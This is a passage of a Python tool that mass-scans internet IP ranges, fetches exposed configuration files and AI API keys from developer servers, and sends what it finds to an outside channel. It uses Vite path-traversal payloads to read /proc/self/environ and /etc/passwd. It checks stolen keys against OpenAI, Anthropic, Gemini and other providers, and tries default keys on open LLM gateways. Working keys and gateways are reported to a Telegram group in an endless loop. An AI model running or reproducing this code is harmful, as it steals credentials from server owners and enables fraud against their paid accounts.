'116.255.255.255'),\n ('120.0.0.0', '120.255.255.255'),\n ('121.0.0.0', '121.255.255.255'),\n ('122.0.0.0', '122.255.255.255'),\n ('123.0.0.0', '123.255.255.255'),\n ('129.0.0.0', '129.255.255.255'),\n ('130.0.0.0', '130.255.255.255'),\n ('132.0.0.0', '132.255.255.255'),\n ('134.0.0.0', '134.255.255.255'),\n ('136.0.0.0', '136.255.255.255'),\n ('144.0.0.0', '144.255.255.255'),\n ('152.0.0.0', '152.255.255.255'),\n ('157.0.0.0', '157.255.255.255'),\n ('158.0.0.0', '158.255.255.255'),\n ('160.0.0.0', '160.255.255.255'),\n ('161.0.0.0', '161.255.255.255'),\n ('164.0.0.0', '164.255.255.255'),\n ('169.0.0.0', '169.255.255.255'),\n ('170.0.0.0', '170.255.255.255'),\n ('171.0.0.0', '171.255.255.255'),\n ('172.0.0.0', '172.31.255.255'),\n ('176.0.0.0', '176.255.255.255'),\n ('178.0.0.0', '178.255.255.255'),\n ('179.0.0.0', '179.255.255.255'),\n ('180.0.0.0', '180.255.255.255'),\n ('181.0.0.0', '181.255.255.255'),\n ('182.0.0.0', '182.255.255.255'),\n ('183.0.0.0', '183.255.255.255'),\n ('185.0.0.0', '185.255.255.255'),\n ('188.0.0.0', '188.255.255.255'),\n ('193.0.0.0', '193.255.255.255'),\n ('194.0.0.0', '194.255.255.255'),\n ('195.0.0.0', '195.255.255.255'),\n ('196.0.0.0', '196.255.255.255'),\n ('197.0.0.0', '197.255.255.255'),\n ('198.0.0.0', '198.255.255.255'),\n ('199.0.0.0', '199.255.255.255'),\n ('200.0.0.0', '200.255.255.255'),\n ('201.0.0.0', '201.255.255.255'),\n ('202.0.0.0', '202.255.255.255'),\n ('203.0.0.0', '203.255.255.255'),\n ('204.0.0.0', '204.255.255.255'),\n ('205.0.0.0', '205.255.255.255'),\n ('206.0.0.0', '206.255.255.255'),\n ('207.0.0.0', '207.255.255.255'),\n ('208.0.0.0', '208.255.255.255'),\n ('209.0.0.0', '209.255.255.255'),\n ('211.0.0.0', '211.255.255.255'),\n ('212.0.0.0', '212.255.255.255'),\n ('213.0.0.0', '213.255.255.255'),\n ('214.0.0.0', '214.255.255.255'),\n ('215.0.0.0', '215.255.255.255'),\n ('216.0.0.0', '216.255.255.255'),\n ('217.0.0.0', '217.255.255.255'),\n ('218.0.0.0', '218.255.255.255'),\n ('219.0.0.0', '219.255.255.255'),\n ('220.0.0.0', '220.255.255.255'),\n ('221.0.0.0', '221.255.255.255'),\n ('222.0.0.0', '222.255.255.255'),\n ('223.0.0.0', '223.255.255.255'),\n]\n\n# Common /24 blocks for port 3000 (dev servers, web frameworks)\nDEV_SERVER_SUBNETS = [\n # Web dev ranges\n '3.0.0.0/8', '18.0.0.0/8', '52.0.0.0/8', '54.0.0.0/8',\n '35.0.0.0/8', '13.0.0.0/8', '20.0.0.0/8', '40.0.0.0/8',\n '104.0.0.0/8', '34.0.0.0/8', '142.0.0.0/8',\n '64.0.0.0/8', '128.0.0.0/8', '138.0.0.0/8', '159.0.0.0/8',\n '165.0.0.0/8', '167.0.0.0/8', '170.0.0.0/8',\n '5.0.0.0/8', '6.0.0.0/8', '7.0.0.0/8', '9.0.0.0/8',\n '51.0.0.0/8', '57.0.0.0/8', '87.0.0.0/8', '91.0.0.0/8',\n '92.0.0.0/8', '93.0.0.0/8', '94.0.0.0/8', '95.0.0.0/8',\n '141.0.0.0/8', '147.0.0.0/8',\n '45.0.0.0/8', '46.0.0.0/8', '47.0.0.0/8',\n '62.0.0.0/8', '65.0.0.0/8', '66.0.0.0/8',\n '72.0.0.0/8', '74.0.0.0/8', '75.0.0.0/8', '76.0.0.0/8',\n '77.0.0.0/8', '78.0.0.0/8', '79.0.0.0/8', '80.0.0.0/8',\n '81.0.0.0/8', '82.0.0.0/8', '83.0.0.0/8', '84.0.0.0/8',\n '85.0.0.0/8', '86.0.0.0/8', '89.0.0.0/8',\n '103.0.0.0/8', '107.0.0.0/8', '113.0.0.0/8',\n '114.0.0.0/8', '115.0.0.0/8', '116.0.0.0/8',\n '120.0.0.0/8', '121.0.0.0/8', '122.0.0.0/8', '123.0.0.0/8',\n '129.0.0.0/8', '130.0.0.0/8', '132.0.0.0/8', '134.0.0.0/8',\n '136.0.0.0/8', '144.0.0.0/8', '152.0.0.0/8',\n '157.0.0.0/8', '158.0.0.0/8', '160.0.0.0/8', '161.0.0.0/8',\n '164.0.0.0/8', '169.0.0.0/8', '171.0.0.0/8',\n '176.0.0.0/8', '178.0.0.0/8', '179.0.0.0/8',\n '180.0.0.0/8', '181.0.0.0/8', '182.0.0.0/8', '183.0.0.0/8',\n '185.0.0.0/8', '188.0.0.0/8', '193.0.0.0/8', '194.0.0.0/8',\n '195.0.0.0/8', '196.0.0.0/8', '197.0.0.0/8',\n '198.0.0.0/8', '199.0.0.0/8', '200.0.0.0/8', '201.0.0.0/8',\n '202.0.0.0/8', '203.0.0.0/8', '204.0.0.0/8', '205.0.0.0/8',\n '206.0.0.0/8', '207.0.0.0/8', '208.0.0.0/8', '209.0.0.0/8',\n '211.0.0.0/8', '212.0.0.0/8', '213.0.0.0/8', '214.0.0.0/8',\n '215.0.0.0/8', '216.0.0.0/8', '217.0.0.0/8', '218.0.0.0/8',\n '219.0.0.0/8', '220.0.0.0/8', '221.0.0.0/8', '222.0.0.0/8',\n '223.0.0.0/8',\n]\n\n# ═══════════════════════════════════════════════════════════════\n# ZMAP INTEGRATION\n# ═══════════════════════════════════════════════════════════════\n\nimport subprocess\n\nZMAP_CACHE_DIR = OUTPUT_DIR / 'zmap_cache'\nZMAP_CACHE_DIR.mkdir(exist_ok=True)\n\ndef is_zmap_available() -> bool:\n \"\"\"Check if ZMap is installed and accessible.\"\"\"\n try:\n result = subprocess.run(['zmap', '--version'], \n capture_output=True, text=True, timeout=5)\n return result.returncode == 0\n except (FileNotFoundError, subprocess.TimeoutExpired):\n return False\n\n\ndef run_zmap_scan(port: int, \n output_file: str = None,\n bandwidth: str = '10M',\n probe_rate: int = 1000,\n max_probes: int = None,\n blacklist_file: str = None,\n timeout: int = 300) -> list:\n \"\"\"\n Run ZMap port scan and return list of IPs with open port.\n \n Args:\n port: Port to scan (e.g., 3000, 4000, 8000)\n output_file: Optional file to save raw ZMap output\n bandwidth: Rate limit (e.g., '10M', '50M', '100M')\n probe_rate: Packets per second (default 1000)\n max_probes: Maximum probes to send (None = unlimited)\n blacklist_file: Path to blacklist file (IPs/ranges to skip)\n timeout: Max seconds to wait for scan\n \n Returns:\n List of IPs with open port\n \"\"\"\n if not is_zmap_available():\n print(f' [ZMAP] ZMap not found - skipping port {port}')\n return []\n \n # Generate output file path if not provided\n if output_file is None:\n ts = datetime.now().strftime('%Y%m%d_%H%M%S')\n output_file = str(ZMAP_CACHE_DIR / f'zmap_port{port}_{ts}.txt')\n \n # Build ZMap command\n cmd = [\n 'zmap',\n '-p', str(port),\n '-o', output_file,\n '-B', bandwidth,\n '-r', str(probe_rate),\n '-q', # Quiet mode\n ]\n \n # Add max probes if specified\n if max_probes:\n cmd.extend(['-n', str(max_probes)])\n \n # Add blacklist if specified\n if blacklist_file and os.path.exists(blacklist_file):\n cmd.extend(['--blacklist-file', blacklist_file])\n \n print(f' [ZMAP] Scanning port {port} at {bandwidth} bandwidth...')\n print(f' [ZMAP] Command: {\" \".join(cmd)}')\n \n try:\n result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)\n if result.returncode != 0:\n print(f' [ZMAP] Scan failed: {result.stderr}')\n return []\n \n # Parse output file (one IP per line)\n ips = []\n if os.path.exists(output_file):\n with open(output_file) as f:\n for line in f:\n ip = line.strip()\n if ip and not ip.startswith('#'):\n ips.append(ip)\n \n print(f' [ZMAP] Found {len(ips)} IPs with port {port} open')\n return ips\n \n except subprocess.TimeoutExpired:\n print(f' [ZMAP] Scan timed out after {timeout}s')\n return []\n except Exception as e:\n print(f' [ZMAP] Error: {e}')\n return []\n\n\ndef scan_ports_with_zmap(ports: list = None,\n batch_size: int = 10000,\n bandwidth: str = ZMAP_BANDWIDTH) -> dict:\n \"\"\"\n Scan multiple ports using ZMap and return IPs grouped by port.\n \n Args:\n ports: List of ports to scan (default: [3000, 4000, 8000])\n batch_size: Max IPs to collect per port\n bandwidth: ZMap bandwidth limit\n \n Returns:\n Dict mapping port -> list of IPs\n \"\"\"\n if ports is None:\n ports = [3000, 4000, 8000]\n \n if not is_zmap_available():\n print(f' [ZMAP] ZMap not installed - install from: https://github.com/zmap/zmap')\n return {port: [] for port in ports}\n \n results = {}\n for port in ports:\n print(f'\\n [ZMAP] === Scanning port {port} ===')\n ips = run_zmap_scan(\n port=port,\n bandwidth=bandwidth,\n probe_rate=ZMAP_RATE,\n timeout=600 # 10 min timeout per port\n )\n # Limit to batch_size\n results[port] = ips[:batch_size]\n print(f' [ZMAP] Collected {len(results[port])}/{len(ips)} IPs for port {port}')\n \n return results\n\n\ndef load_zmap_results_from_file(port: int) -> list:\n \"\"\"Load cached ZMap results for a port from previous scans.\"\"\"\n cache_dir = ZMAP_CACHE_DIR\n if not cache_dir.exists():\n return []\n \n all_ips = []\n for f in cache_dir.glob(f'zmap_port{port}_*.txt'):\n try:\n with open(f) as fp:\n for line in fp:\n ip = line.strip()\n if ip and not ip.startswith('#'):\n all_ips.append(ip)\n except:\n pass\n \n return list(set(all_ips))\n\n\ndef zmap_to_targets(zmap_results: dict) -> list:\n \"\"\"\n Convert ZMap results to target format used by scanner.\n \n Args:\n zmap_results: Dict mapping port -> list of IPs\n \n Returns:\n List of target dicts with ip, port, source\n \"\"\"\n targets = []\n seen = load_seen_ips()\n \n for port, ips in zmap_results.items():\n for ip in ips:\n key = f'{ip}:{port}'\n if key not in seen:\n targets.append({\n 'ip': ip,\n 'port': port,\n 'source': 'zmap',\n 'subnet': f'{ip.rsplit(\".\", 1)[0]}.0/24',\n })\n seen.add(key)\n \n save_seen_ips(seen)\n return targets\n\n\n# /24 blocks to scan (subnets within larger ranges)\ndef generate_ip_batch(count: int = 3000) -> list:\n '''Generate random IPs for port 3000 scanning.'''\n targets = []\n seen = load_seen_ips()\n count_per_subnet = max(50, count // len(DEV_SERVER_SUBNETS))\n\n for subnet in DEV_SERVER_SUBNETS:\n try:\n net = ipaddress.ip_network(subnet, strict=False)\n # Get 256 IPs from random positions in this /24\n all_hosts = list(net.hosts())\n if len(all_hosts) >= count_per_subnet:\n random.shuffle(all_hosts)\n batch = all_hosts[:count_per_subnet]\n else:\n batch = all_hosts\n for ip in batch:\n ip_str = str(ip)\n key = f'{ip_str}:3000'\n if key not in seen:\n targets.append({\n 'ip': ip_str,\n 'port': 3000,\n 'source': 'generated',\n 'subnet': subnet,\n })\n seen.add(key)\n except Exception:\n pass\n if len(targets) >= count:\n break\n\n save_seen_ips(seen)\n return targets[:count]\n\n\n# ═══════════════════════════════════════════════════════════════\n# STATE MANAGEMENT\n# ═══════════════════════════════════════════════════════════════\n\ndef load_seen_ips() -> set:\n if Path(SEEN_IPS_FILE).exists():\n try:\n return set(json.load(open(SEEN_IPS_FILE)))\n except:\n return set()\n return set()\n\n\ndef save_seen_ips(seen: set):\n json.dump(list(seen), open(SEEN_IPS_FILE, 'w'))\n\n\ndef load_seen_keys() -> set:\n if Path(SEEN_KEYS_FILE).exists():\n try:\n return set(json.load(open(SEEN_KEYS_FILE)))\n except:\n return set()\n return set()\n\n\ndef save_seen_keys(seen: set):\n json.dump(list(seen), open(SEEN_KEYS_FILE, 'w'))\n\n\ndef load_found_keys() -> list:\n if Path(FOUND_KEYS_FILE).exists():\n try:\n return json.load(open(FOUND_KEYS_FILE))\n except:\n return []\n return []\n\n\ndef save_found_key(entry: dict):\n keys = load_found_keys()\n keys.append(entry)\n json.dump(keys, open(FOUND_KEYS_FILE, 'w'), indent=2)\n\n\ndef load_found_gates() -> list:\n if Path(FOUND_GATES_FILE).exists():\n try:\n return json.load(open(FOUND_GATES_FILE))\n except:\n return []\n return []\n\n\ndef save_found_gate(entry: dict):\n gates = load_found_gates()\n gates.append(entry)\n json.dump(gates, open(FOUND_GATES_FILE, 'w'), indent=2)\n\n\ndef append_log(entry: dict):\n with open(SCAN_LOG, 'a') as f:\n f.write(json.dumps(entry, default=str) + '\\n')\n\n\n# ═══════════════════════════════════════════════════════════════\n# NIANSUH CONFIG FILE PATHS\n# ═══════════════════════════════════════════════════════════════\n\nNIANSUH_PATHS = [\n '/.env',\n '/.env.local',\n '/.env.production',\n '/.env.development',\n '/server.js',\n '/config.js',\n '/app.config.js',\n '/next.config.js',\n '/api/config',\n '/api/settings',\n '/ecosystem.config.js',\n '/package.json',\n '/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ?raw??',\n '/@fs/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd?raw??',\n '/src/config.js',\n '/src/server.js',\n '/lib/config.js',\n '/lib/server.js',\n '/config.json',\n '/settings.json',\n '/app.js',\n '/data/config.json',\n '/api/v1/config',\n '/api/v1/settings',\n '/config/env.js',\n '/.npmrc',\n '/.yarnrc',\n '/tsconfig.json',\n '/vite.config.ts',\n '/vite.config.js',\n '/webpack.config.js',\n]\n\n\n# ═══════════════════════════════════════════════════════════════\n# KEY EXTRACTION REGEX\n# ═══════════════════════════════════════════════════════════════\n\nKEY_PATTERNS = [\n (r'sk-or-v1-[a-zA-Z0-9]{64}', 'OpenRouter'),\n (r'sk-ant-api03-[a-zA-Z0-9_\\\\-]{95,}', 'Anthropic'),\n (r'sk-proj-[a-zA-Z0-9_\\\\-]{80,}', 'OpenAI'),\n (r'sk-svcacct-[a-zA-Z0-9_\\\\-]{80,}', 'OpenAI'),\n (r'sk-[a-f0-9]{32}', 'DeepSeek'),\n (r'sk-[a-zA-Z0-9]{48,}', 'OpenAI_Legacy'),\n (r'sk-[a-zA-Z0-9]{20,47}', 'Generic_OpenAI'),\n (r'AIzaSy[a-zA-Z0-9_\\\"]{33}', 'Gemini'),\n (r'hf_[a-zA-Z0-9]{34}', 'HuggingFace'),\n (r'xai-[a-zA-Z0-9]{20,}', 'xAI'),\n (r'gsk_[a-zA-Z0-9]{20,}', 'Groq'),\n (r'OPENAI_API_KEY[=:]\\\\s*([a-zA-Z0-9_\\\"]{20,})', 'OpenAI_env'),\n (r'ANTHROPIC_API_KEY[=:]\\\\s*([a-zA-Z0-9_\\\"]{20,})', 'Anthropic_env'),\n (r'GEMINI_API_KEY[=:]\\\\s*([a-zA-Z0-9_\\\"]{20,})', 'Gemini_env'),\n (r'DEEPSEEK_API_KEY[=:]\\\\s*([a-zA-Z0-9_\\\"]{20,})', 'DeepSeek_env'),\n (r'LITELLM_MASTER_KEY[=:]\\\\s*([a-zA-Z0-9_\\\"]{8,})', 'LiteLLM'),\n (r'api[_-]?key[=:]\\\\s*([a-zA-Z0-9_\\\"]{20,})', 'Generic_API'),\n]\n\nFAKE_KEYS = {\n 'sk-1234', 'sk-1234567890', 'sk-', 'sk-your', 'sk-xxx',\n 'sk-key', 'sk-test', 'sk-demo', 'sk-example',\n}\n\n\ndef is_fake_key(k: str) -> bool:\n if not k or len(k) < 8:\n return True\n k_lower = k.lower().strip()\n for fake in FAKE_KEYS:\n if k_lower == fake or k_lower.startswith(fake):\n return True\n return False\n\n\ndef extract_keys(text: str) -> list:\n found = []\n seen = set()\n for pattern, key_type in KEY_PATTERNS:\n for m in re.finditer(pattern, text, re.IGNORECASE):\n val = m.group(1) if m.lastindex else m.group(0)\n val = val.strip().strip('\"').strip(\"'\")\n if is_fake_key(val) or val in seen:\n continue\n seen.add(val)\n found.append({'type': key_type, 'value': val, 'source': m.group(0)[:80]})\n return found\n\n\n# ═══════════════════════════════════════════════════════════════\n# LLM GATEWAY CONFIGS\n# ═══════════════════════════════════════════════════════════════\n\nLITE_LLM_KEYS = ['', 'sk-1234', 'sk-1234567890', 'sk-111111111111111111111111111111111111111111111111']\nOLLAMA_KEYS = ['', 'ollama', 'sk-ollama']\nVLLM_KEYS = ['', 'EMPTY']\nLOCALAI_KEYS = ['', 'localai', 'sk-localai']\n\nGATE_CONFIGS = {\n 'LiteLLM': {\n 'ports': [4000, 4001, 8000],\n 'models_path': '/v1/models',\n 'chat_path': '/v1/chat/completions',\n 'keys': LITE_LLM_KEYS,\n 'model_field': 'data[].id',\n },\n 'Ollama': {\n 'ports': [11434, 3000],\n 'models_path': '/api/tags',\n 'chat_path': '/api/generate',\n 'alt_chat_path': '/v1/chat/completions',\n 'keys': OLLAMA_KEYS,\n 'model_field': 'models[].name',\n },\n 'vLLM': {\n 'ports': [8000, 8001, 8080],\n 'models_path': '/v1/models',\n 'chat_path': '/v1/chat/completions',\n 'keys': VLLM_KEYS,\n 'model_field': 'data[].id',\n },\n 'LocalAI': {\n 'ports': [8080, 9000, 8000],\n 'models_path': '/v1/models',\n 'chat_path': '/v1/chat/completions',\n 'keys': LOCALAI_KEYS,\n 'model_field': 'data[].id',\n },\n 'OpenWebUI': {\n 'ports': [3000, 8080],\n 'models_path': '/api/models',\n 'chat_path': '/api/chat/completions',\n 'keys': [''],\n 'model_field': 'data[].id',\n },\n 'Generic': {\n 'ports': [3000, 4000, 8000, 8080, 9000, 11434, 80],\n 'models_path': '/v1/models',\n 'chat_path': '/v1/chat/completions',\n 'keys': LITE_LLM_KEYS,\n 'model_field': 'data[].id',\n },\n}\n\n\ndef parse_models(data, field_path):\n models = []\n if not data:\n return models\n if field_path == 'models[].name' and isinstance(data, dict):\n for item in data.get('models', []):\n if isinstance(item, dict):\n n = item.get('name') or item.get('id', '')\n if n:\n models.append(str(n))\n elif field_path == 'data[].id':\n for item in data.get('data', []):\n if isinstance(item, dict):\n n = item.get('id') or item.get('name', '')\n if n:\n models.append(str(n))\n if not models:\n for key in ['data', 'models', 'result']:\n arr = data.get(key, [])\n if isinstance(arr, list):\n for item in arr:\n if isinstance(item, dict):\n n = item.get('id') or item.get('name', '')\n if n:\n models.append(str(n))\n return models[:100]\n\n\n# ═══════════════════════════════════════════════════════════════\n# PHASE 1: SCAN PORT 3000 (NIANSUH CONFIG FILES)\n# ═══════════════════════════════════════════════════════════════\n\nasync def scan_niansuh_target(session, ip, port, sem):\n '''Scan one IP on all Niansuh config paths. Returns list of found key entries.'''\n base = f'http://{ip}:{port}'\n results = []\n\n async with sem:\n for path in NIANSUH_PATHS:\n try:\n url = base + path\n async with session.get(url, ssl=False, timeout=SCAN_TIMEOUT) as resp:\n if resp.status != 200:\n continue\n text = await resp.text(errors='replace')\n if len(text) < 20:\n continue\n keys = extract_keys(text)\n for k in keys:\n results.append({\n 'ip': ip,\n 'port': port,\n 'source_path': path,\n 'source_url': url,\n 'key_type': k['type'],\n 'key_value': k['value'],\n 'ts': datetime.now().isoformat(),\n })\n if keys:\n break # Found on this path, move to next IP\n except Exception:\n pass\n\n return results\n\n\nasync def run_niansuh_scan(targets: list, concurrent: int = 150) -> list:\n print(f'\\n[NIANSUH] Scanning {len(targets)} targets on port 3000...')\n sem = asyncio.Semaphore(concurrent)\n connector = aiohttp.TCPConnector(limit=0, ssl=False, force_close=True)\n all_keys = []\n seen_keys = load_seen_keys()\n done = 0\n\n async with aiohttp.ClientSession(timeout=SCAN_TIMEOUT, connector=connector) as sess:\n coros = [scan_niansuh_target(sess, t['ip'], t['port'], sem) for t in targets]\n for coro in asyncio.as_completed(coros):\n results = await coro\n all_keys.extend(results)\n done += 1\n if done % 200 == 0:\n print(f' [{done}/{len(targets)}] keys_so_far={len(all_keys)}')\n\n # Filter to new keys only\n new_keys = [k for k in all_keys if k['key_value'] not in seen_keys]\n for k in new_keys:\n seen_keys.add(k['key_value'])\n save_seen_keys(seen_keys)\n\n print(f' Found {len(all_keys)} total, {len(new_keys)} new')\n return new_keys\n\n\n# ═══════════════════════════════════════════════════════════════\n# PHASE 2: VALIDATE API KEYS\n# ═══════════════════════════════════════════════════════════════\n\nVALIDATORS = {\n 'OpenAI': {\n 'endpoint': 'https://api.openai.com/v1/models',\n 'header': 'Authorization',\n 'prefix': 'Bearer ',\n },\n 'Anthropic': {\n 'endpoint': 'https://api.anthropic.com/v1/models',\n 'header': 'Authorization',\n 'prefix': 'Bearer ',\n },\n 'OpenRouter': {\n 'endpoint': 'https://openrouter.ai/api/v1/models',\n 'header': '',\n 'prefix': '',\n },\n 'Gemini': {\n 'endpoint': None, # Uses query param ?key=\n 'header': '',\n 'prefix': '',\n },\n 'DeepSeek': {\n 'endpoint': 'https://api.deepseek.com/v1/models',\n 'header': 'Authorization',\n 'prefix': 'Bearer ',\n },\n 'HuggingFace': {\n 'endpoint': 'https://huggingface.co/api/models',\n 'header': 'Authorization',\n 'prefix': 'Bearer ',\n },\n}\n\n\nasync def validate_key(session, key_entry: dict, sem) -> dict:\n '''Validate an API key by hitting the provider's models endpoint.'''\n k_type = key_entry.get('key_type', '')\n k_val = key_entry.get('key_value', '')\n result = {**key_entry, 'status': 'untested', 'models': [], 'validated_at': datetime.now().isoformat()}\n\n # Map key type to validator\n provider = k_type.split('_')[0] if '_' in k_type else k_type\n if provider not in VALIDATORS and k_type not in VALIDATORS:\n provider = 'OpenAI' # Default\n\n validator_key = k_type if k_type in VALIDATORS else provider\n if validator_key not in VALIDATORS:\n validator_key = provider if provider in VALIDATORS else 'OpenAI'\n val_config = VALIDATORS.get(validator_key, VALIDATORS['OpenAI'])\n\n async with sem:\n try:\n endpoint = val_config['endpoint']\n header = val_config['header']\n prefix = val_config['prefix']\n\n if validator_key == 'Gemini':\n # Gemini uses API key in query param\n ep = f'https://generativelanguage.googleapis.com/v1beta/models?key={k_val}'\n headers = {}\n elif validator_key == 'OpenRouter':\n # OpenRouter doesn't require auth for model list\n ep = endpoint\n headers = {}\n else:\n ep = endpoint\n headers = {'Content-Type': 'application/json'}\n if header:\n headers[header] = f'{prefix}{k_val}'\n\n async with session.get(ep, headers=headers, timeout=KEY_VALIDATE_TIMEOUT) as resp:\n if resp.status == 200:\n data = await resp.json()\n models = []\n if validator_key == 'OpenAI' or validator_key == 'DeepSeek':\n models = [m.get('id', '') for m in data.get('data', [])[:50]]\n elif validator_key == 'Anthropic':\n models = [m.get('id', '') for m in data.get('data', [])[:50]]\n elif validator_key == 'Gemini':\n models = [m.get('name', '').replace('models/', '') for m in data.get('models', [])[:50]]\n elif validator_key == 'OpenRouter':\n models = [m.get('id', '') for m in data.get('data', [])[:50]]\n result['status'] = 'valid'\n result['models'] = models\n elif resp.status == 401:\n result['status'] = 'invalid'\n else:\n result['status'] = f'http_{resp.status}'\n\n except asyncio.TimeoutError:\n result['status'] = 'timeout'\n except Exception as e:\n result['status'] = f'error_{str(e)[:30]}'\n\n return result\n\n\nasync def run_key_validation(keys: list, concurrent: int = 30) -> list:\n if not keys:\n return []\n print(f'\\n[KEY_VALIDATE] Validating {len(keys)} keys...')\n sem = asyncio.Semaphore(concurrent)\n connector = aiohttp.TCPConnector(limit=0, ssl=True, enable_cleanup_closed=True)\n validated = []\n\n async with aiohttp.ClientSession(timeout=KEY_VALIDATE_TIMEOUT, connector=connector) as sess:\n coros = [validate_key(sess, k, sem) for k in keys]\n for coro in asyncio.as_completed(coros):\n r = await coro\n validated.append(r)\n if r['status'] == 'valid':\n print(f' [VALID] {r[\"key_type\"]}: {r[\"key_value\"][:40]}... ({len(r[\"models\"])} models)')\n\n return validated\n\n\n# ═══════════════════════════════════════════════════════════════\n# PHASE 3: LLM GATEWAY DETECTION\n# ═══════════════════════════════════════════════════════════════\n\nasync def test_lite_llm_gate(session, ip, port, sem) -> dict | None:\n '''Test a LiteLLM gateway with default key.'''\n base = f'http://{ip}:{port}'\n result = {\n 'ip': ip,\n 'port': port,\n 'framework': 'LiteLLM',\n 'working_key': None,\n 'models': [],\n 'status': 'failed',\n }\n\n async with sem:\n for key in LITE_LLM_KEYS:\n headers = {'Content-Type': 'application/json'}\n if key:\n headers['Authorization'] = f'Bearer {key}'\n\n try:\n # Test models endpoint\n async with session.get(f'{base}/v1/models', headers=headers, ssl=False, timeout=AUTH_TIMEOUT) as resp:\n if resp.status == 200:\n try:\n data = await resp.json(content_type=None)\n models = parse_models(data, 'data[].id')\n if models:\n result['working_key'] = key if key else '(no-auth)'\n result['models'] = models\n result['status'] = 'models_found'\n return result\n except:\n pass\n elif resp.status == 401:\n continue\n except Exception:\n pass\n\n return result\n\n\nasync def test_generic_gate(session, ip, port, sem) -> dict | None:\n '''Test a generic OpenAI-compatible gateway.'''\n base = f'http://{ip}:{port}'\n result = {\n 'ip': ip,\n 'port': port,\n 'framework': 'Generic',\n 'working_key': None,\n 'models': [],\n 'status': 'failed',\n }\n\n async with sem:\n for key in LITE_LLM_KEYS:\n headers = {'Content-Type': 'application/json'}\n if key:\n headers['Authorization'] = f'Bearer {key}'\n\n try:\n async with session.get(f'{base}/v1/models', headers=headers, ssl=False, timeout=AUTH_TIMEOUT) as resp:\n if resp.status == 200:\n try:\n data = await resp.json(content_type=None)\n models = parse_models(data, 'data[].id')\n if models:\n result['working_key'] = key if key else '(no-auth)'\n result['models'] = models\n result['status'] = 'models_found'\n return result\n except:\n pass\n elif resp.status == 401:\n continue\n except Exception:\n pass\n\n return result\n\n\nasync def run_gate_detection(targets: list, concurrent: int = 100) -> list:\n print(f'\\n[GATE_DETECT] Testing {len(targets)} LLM gateways...')\n sem = asyncio.Semaphore(concurrent)\n connector = aiohttp.TCPConnector(limit=0, ssl=False, force_close=True)\n results = []\n done = 0\n\n async with aiohttp.ClientSession(timeout=AUTH_TIMEOUT, connector=connector) as sess:\n coros = []\n for t in targets:\n if t.get('port') in [4000, 4001, 8000]:\n coros.append(test_lite_llm_gate(sess, t['ip'], t['port'], sem))\n else:\n coros.append(test_generic_gate(sess, t['ip'], t['port'], sem))\n\n for coro in asyncio.as_completed(coros):\n r = await coro\n if r and r.get('status') == 'models_found':\n results.append(r)\n done += 1\n if done % 100 == 0:\n print(f' [{done}/{len(targets)}] working_gates={len(results)}')\n\n print(f' Working gates: {len(results)}')\n return results\n\n\n# ═══════════════════════════════════════════════════════════════\n# TELEGRAM REPORTER\n# ═══════════════════════════════════════════════════════════════\n\nasync def report_key(key_entry: dict):\n '''Send validated key to Telegram group.'''\n provider = classify_provider(key_entry['key_type'], key_entry['key_value'])\n msg = format_key_message(\n provider=provider,\n key_value=key_entry['key_value'],\n source_url=key_entry.get('source_url', f\"http://{key_entry['ip']}:{key_entry['port']}{key_entry.get('source_path','/')}\"),\n models=key_entry.get('models', []),\n key_type=key_entry.get('key_type', 'api_key'),\n )\n ok = await send_telegram(msg)\n if ok:\n print(f' [TG SENT] {provider} key to Telegram')\n return ok\n\n\nasync def report_gate(gate_entry: dict):\n '''Send working LLM gateway to Telegram group.'''\n msg = format_gate_message(\n ip=gate_entry['ip'],\n port=gate_entry['port'],\n framework=gate_entry.get('framework', 'LiteLLM'),\n working_key=gate_entry.get('working_key', ''),\n models=gate_entry.get('models', []),\n )\n ok = await send_telegram(msg)\n if ok:\n print(f\" [TG SENT] {gate_entry['framework']} gate to Telegram\")\n return ok\n\n\ndef classify_provider(key_type: str, key_value: str) -> str:\n '''Classify key by its value format.'''\n v = key_value.strip()\n if v.startswith('AIzaSy'):\n return 'Gemini'\n if v.startswith('sk-or-v1-'):\n return 'OpenRouter'\n if v.startswith('sk-ant-api03-'):\n return 'Anthropic'\n if v.startswith('sk-proj-'):\n return 'OpenAI'\n if v.startswith('sk-svcacct-'):\n return 'OpenAI'\n if v.startswith('hf_'):\n return 'HuggingFace'\n if v.startswith('sk-') and len(v) == 35 and all(c in 'abcdef0123456789' for c in v[3:]):\n return 'DeepSeek'\n if v.startswith('sk-'):\n return 'OpenAI'\n if key_type in ('OpenRouter', 'Anthropic', 'Gemini', 'DeepSeek', 'HuggingFace'):\n return key_type\n return 'API_Key'\n\n\n# ═══════════════════════════════════════════════════════════════\n# MAIN INFINITE LOOP\n# ═══════════════════════════════════════════════════════════════\n\nasync def infinite_loop(args):\n '''Main infinite scanning loop.'''\n cycle = 0\n total_keys_found = 0\n total_gates_found = 0\n\n print(f\"\\n{'='*70}\")\n print(f' INFINITE LLM SCANNER')\n print(f' Output: {OUTPUT_DIR}')\n print(f' Telegram: {TELEGRAM_CHAT_ID}')\n print(f\" Mode: {'NIANSUH_ONLY' if args.niansuh_only else ('GATE_ONLY' if args.gate_only else 'FULL')}\")\n print(f\"{'='*70}\\n\")\n\n while True:\n cycle += 1\n cycle_start = time.time()\n print(f'\\n[{'='*60}]')\n print(f\" CYCLE {cycle} — {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\")\n print(f\"[{'='*60}]\")\n\n try:\n # ── Generate IP batch ──\n targets = []\n \n # Option 1: ZMap scan for fresh IPs\n if getattr(args, 'zmap', False):\n print(f'\\n[ZMAP] Starting port scan...')\n ports_str = getattr(args, 'zmap_ports', '3000,4000,8000')\n ports = [int(p.strip()) for p in ports_str.split(',')]\n bandwidth = getattr(args, 'zmap_bandwidth', '10M')\n \n zmap_results = scan_ports_with_zmap(\n ports=ports,\n batch_size=IPS_PER_BATCH,\n bandwidth=bandwidth\n )\n \n # Convert ZMap results to targets\n targets = zmap_to_targets(zmap_results)\n print(f' ZMap collected {len(targets)} total targets')\n \n # Option 2: Fall back to generated IPs from cloud ranges\n if not targets:\n print(f'\\n[GENERATE] Building IP batch from cloud ranges...')\n targets = generate_ip_batch(count=IPS_PER_BATCH)\n print(f' Generated {len(targets)} new targets')\n\n # ── Phase 1: Niansuh Config Scan ──\n if not args.gate_only:\n keys = await run_niansuh_scan(targets, concurrent=SCAN_CONCURRENT)\n if keys:\n # ── Validate keys ──\n validated = await run_key_validation(keys, concurrent=30)\n valid_keys = [v for v in validated if v['status'] == 'valid']\n\n for vk in valid_keys:\n save_found_key(vk)\n await report_key(vk)\n 